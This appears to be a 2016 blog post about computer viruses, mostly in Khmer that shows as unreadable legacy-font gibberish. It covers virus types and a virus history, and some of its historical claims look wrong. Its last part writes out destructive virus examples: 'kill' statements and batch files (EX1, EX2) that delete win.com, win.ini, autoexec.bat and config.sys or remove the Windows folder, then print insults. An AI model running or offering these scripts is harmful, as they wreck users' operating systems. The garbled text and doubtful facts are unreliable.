VIRUS Computer វីរុស​ កុំព្យូទ័រ - Management Information Systems

Breaking

15 September 2016

VIRUS Computer វីរុស​ កុំព្យូទ័រ

-VIRUS GacqøgedayxøÜnÉgtam Diskette rW Flash EdlmanCab;CamYy File epSgeTot
Virus Computer KWCAkmµviFIGaccUlRKb;TIkEnøgenAkñúg Computer rWkñúg File epSg²
Biesskñúg Hard Disk.
-sBVéf¶man 747 Virus Edlcab;sMlab;)an nig Virus CaeRcInRbePTeTotcab;min)an
-Virus EdlmandMbUgenAkñúg Packet PC OS maneQµaHfa”29 A virus”va)anqøgkat;ExS
“Code”Edl Copy ÉksarBI Computer.
-Virus eQµaH Cabir Worm vavaylukcUlkñúg Mobile edayqøgkat;tam Bluetooth tam
RbB½n§ Network mobile phone.Virus enHmanlkçNHBiessEdlsresrkñúgkmµviFI
“Visual Studio.NET”
-Virus win 64 bit qøgkat;tamExSkñúg System Windows EdlmaneQµaHfa”Rugrat”Edl
eFVIeGayxUc System IA64 rbs; Windows 64 bit vabMpøaj System Structure vaeRbI
GnuKmn_ AIP rbs; Win64 cMeBaH Virus Worm )anqøgtamryH InternetEdlCaRbePT
emeraKbegáIteLIgedayyuvsisS 18 qñaMeronenARbeTs Germany EdlmaneQµaHfa
Sasser internet worm.
etI Virus qøgtamrebobNa?
  • Internet
  • E-mail
  • Internet browsing
  • File Transfer (FTP)
  • Newsgroups (News)
  • Network
  • Share Disk
  • Flask
  • CD
RbePT Virus EdlCYbsBVéf¶
1.-Boot Viruses:eFVIeGayxUc Boot sector rbs; Floppy rW HDD.
    I.Boot sector vamansarHsMxan;bMputrbs; HDDEdlpÞúk Information vamanlT§
PaBcab;epþIm Boot Computer BI Disk.
2.Macro Virus:(Relax. Melissa A, Bablas, 097M/Y2k)
vamanenAkñúg File kmµviFI
-Word (DOC)
-Excel (XlS)
-Power Point (ppt)
-Acess database (MDB)
-Corel Draw….
vaeFVIeGaykmµviFIdMenIrkarKaMg²
3. Directory Virus:KWcUlkñúg System enAeBlEdleyIgkMBugebIk Filekñúg Directory
BI Drive.
4.Encrypted (kmµviFIkMcat;emeraKKµanlT§PaB)
5.Polymorphic Virus: CaRbePT VirusEdlmankMritx<s;EdleRbIR)as;rab;rybec¢k
eTsvaeFVIeGayxUc File, program, macro disk EdlmaneQµaHfa Ywinz.
7.File Infector:CaRbePT Virus EdleFVIeGayxUc File program ­dUcCa File EXE nig
COM.
8.Companion Virus:CaRbePT Virus EdleFVIeGayxUc FilevaeFVIskmµPaBpÞal;.
Virus enHeFVIeGay MemoryePøckarcgcaMenAeBlEdldMenIrkarkmµviFI skmµPaB
vaKWekIteLIgPøam²EdlmaneQµaH Stator, Asimov,1539,Terrax,1069.
9.FAT Virus:(FAT File Allocation,Table)KWCaEpñkeRbIR)as;kñúg DisksMrab;cgsMB½n§
PaBEpñkmYyén Computer.vaeFVIeGayxUclT§plkñúgBt’man)at;bg;FileepSg²kñúg
Directories.
10.Worms:vaeFVITMtak;TMngCamYySystemehIyrMxantamryHEmail, Network,rWtam
Chat(IRC­rW ICQ)EdlmaneQµaHfa(PSWBugbear.B, Lovgate.F, Trile.C,Sobig.D,
Mapsn).
11.Trojans rW Trojan Horse:Ca Virus dUcWormsEdrEtvaeFVIkarlubecalFilerWbMpøaj
Bt’manenAkñúg HDDrWvalak;System rbs;eyIgdUcCaIRC.Sx2,Trifor.
12.Logic Bombus:KWvabMpøajDataenAkñúgComputerrbs;eyIg.
NRbvtßiVIRUSN
13. Core War         (qñaM1983)
14. B rain              (1986)
15. Lehigh             (1987)ekItmanenAkñúgkmµviFIMicrosoft office
16. Robert             (1988)qøgtam Network
17. AIDS Trojan   (1989) qøgtam Network
18. Tequila            (1991)
19. Michelangelo   (1992)  “Bi)aksMlab;bMput
20. Concept           (1995) CaRbePT Virus Macro
21. Boza                (1996) ekItkñúg Windows 95
22. Melissa,Bubble boy     (1999) qøgtamInternet
23.kñúgqñaM2000[DDos,love Letter]xøaMgkøabMput
24.qñaM2001[Winux Windows/Linux Virus,Nimda,Code Red]qøgBIRbB½n§Linux cUl
kñúgRbB½n§WindowsrWtamInternet
25.qñaM2002ðVirus qøgtamFile.SWF
                  ðViruseQµaHSQLS piderbMpøajkmµviFISQL
                  ðViruseQµaHPerrunqøgtamFilerUbPaB
26. qñaM2003ðViruseQµaHBlaster(MSBlast),Welchia(Nachi),Mimail,Lovgate..vaeFVI[
KaMgdMenIrkarDCOM-RPCelIWindow2k,XPnigvaGacbBa¢a[Computer[biT
Shutdown )anCaerogral;eBlEdleRcInEtqøgtamRbB½n§NetworkEdlmanP¢ab;Ca
mYyInternet
7qñaM2004 ViruseQµaHSkype nig BeagleqøgtamkmµviFI Skype eRbIsMrab;niyay
qøgeqøIyVoice.
7qñaM2005 manelcecjRbePTVirusEdlqøgtamChartRbePTVirusenHqøgtamkmµ
viFIdUcCaYahoo!kmµviFIMSNqøgenAeBlEdlelakGñkChat.
@Note
FcMeBaH Virus EdldMenIrkarkñúgDOSminpþl;plvi)akdl;eyIgb:unµaneT.
MviPaKeTAelIFileEdlemeraK)anlub
kill “C:/windows/win.com”va)anbMpøajecal file win.com
kill “C:/windows/win.ini”   va)anbMpøajecal file win.ini
kill “C:/autoexec.bat”  va)anbMpøajecal           file autoexec.bat
kill “C:/config.sys”  va)anbMpøajecal file config.sys
print”I hate people like you…”mann½yfavaeFVIkarbBaÄb;\p¥akmYyryHedIm,Ibgðaj
Message”I hate people like you…”enAelIScreen monitor.
Sleep2 p¥akMessage”I hate people like you…”cMnYn2 seconds
print”-Cyrus”bgðaj Message”I hate people like you…”enAelIScreen.
End    bBaÄb;nUvkarsresr
¯etIehtuGVI)anCa Virus lb;ecal File xageRkam?etIvamansarHsMxan;y:agNa?
C:/windows/win.com
C:/windows/win.ini
C:/autoexec.bat
C:/config.sys
¯ C:/windows/win.com
vamansarHsMxan;sMrab;Restarting the computereLIgvijedIm,I[Computer booted
eLIgvijfile win.comvasMxan;sMrab;rt;cUlkñúgDOS.
¯ C:/windows/win.ini
vamansarHsMxan;sMrab;rt;elI Setting for windowsRbsinebIlubecal file win.ini
eBlenaHminGaccUlkñúg windows )aneLIy.
¯ C:/autoexec.bat
      vamansarHsMxan;sMrab;rt; Start up Pøam²
¯ C:/config.sys
vamansarHsMxan;sMrab; Startup windowsEdr
¯NTLDRKWCa file sMrab;eBlEdl Start ComputerdMbUg
¯BOOT.INI
vasMxan;enAeBlEdleyIgmanWindows2EteyIg)anlubWindowsmYyecalEtenA
eBleyIgebIkComputerdMbUgvaenAEtecjMessage[eyIgSelect WindowsdEdl
dUecñHeyIgRtUveTAlubenAkñúgFile Boot.iniecalTukEtWindows mYyKt;.
¯@echo off
)anR)ab;ComputerrkSaTuk cd\ehIy)anR)ab; ComputereTAdl; cd:\windowsR)ab;
ComputerBIC:\eTAC:\windows@del win.comR)ab; Computer[lubecalWin.comBI
folderkñúgC:\window@del win.iniCamYyfile win.ini echo Fag
EX1:
@echo off
cd\
cd windows
@del win.com
@del win.ini
echo Fag,try to fix your computer now,End
EX2:RDsMrab;lub Folder
@echo off
cd\
rd windows’
echo you stupid bastard
echo hahahahahahahaha
echo Iown your ass
echo eeewww
echo goodbye
end….



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